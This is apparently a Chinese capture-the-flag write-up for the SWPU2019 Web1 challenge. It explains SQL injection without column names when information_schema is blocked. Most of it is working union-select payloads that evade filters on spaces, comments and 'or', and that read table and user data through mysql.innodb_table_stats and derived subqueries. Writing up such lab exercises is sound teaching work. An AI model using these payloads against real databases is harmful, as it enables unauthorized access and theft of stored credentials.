[SWPU2019]Web1
[SWPU2019]Web1
这个题目主要考察的是sql注入中的无列名注入。
无列名注入主要用于information_schema被屏蔽,需要使用别的不带列名的表查询的情况。
经过测试,过滤有空格和 #, --+, and、or。
可以根据报错猜到他的sql语句为
select * from tableX where name = '$name' limit 0,1
我们使用/**/来替代空格;
没有办法注释,闭合引号即可;
过滤了or,无法使用order by,使用group by替代。
这个or过滤挺难受的,一下子很多东西都用不了了,比如还顺便过滤掉的information_schema
1. 获取数据库信息
1.1 检查数据库列数
首先使用
-1'/**/group/**/by/**/25,'2
检查数据库列数,小于25
检查到22时发现不报找不到列数了,即该表有22列。
1.2 查看回显位置
使用
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
这里用select,参数个数必须要和表的列数相同,同时还需要闭合引号。
可以看到,回显的位置时2,3号位置。
2. 查表
2.1 查表名
这里没有办法使用information_schema, 只能换用别的表。在网上看了别的师傅的WP,发现还有其他表如mysql.innodb_table_stats和sys.schema_table_statistics_with_buffer可以看表名、数据库名,就是没有列名。这边要用到一会儿说的无列名注入。
这是在MariaDB官网找的关于这个表的介绍,可以看到有database_name, table_name, 还有n_rows,应该是行数。
我们首先查表名
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
现在需要查看表内具体内容,但是因为information_schema被过滤,作为替代的mysql.innodb_table_stats又没有列名,怎么办呢?
2.2 无列名注入
这里我是照着这位师傅的学的,写的很详细。
https://www.jianshu.com/p/a352261e0ad5
假设有tableX
user | passwd |
---|---|
Tom | asd |
Nr | 123 |
我们使用这么个语句的时候
select 1,2 union select * from tableX;
1 | 2 |
---|---|
Tom | asd |
Nr | 123 |
他会生成一个1,2, 再提取tableX的内容来临时生成一张新表,却不会提取tableX的列名。在这张新表中,我们用的这个数字边如同替换了列名。我们便可用这个2
在这张临时的表中指定想要查看的列名。
select `2` from (select 1,2 union select * from tableX)a;
这句话的意思是,使用括号内的select语句构建一张新表a,然后从a中选取列名为‘2’的列,即原来的passwd列。至此,我们便完成了无列名注入。
如果反引号 ` 被过滤,我们可以使用别名替代。
select b from (select 1,2 as b union select * from tableX)a;
这里的b,指的是我们之前select的1,2中的2, 如想看第一列,使用
select b from (select 1 as b, 2 union select * from tableX)a;
2.3 查询表内容
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/【(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)】a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
这里我为了方便看,加了粗体方括号。方括号内的是临时表的内容。
这里因为回显出来的位数是2,3,我直接查看的第二列,内容如下。
查看第三列
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
出Flag了,可喜可贺。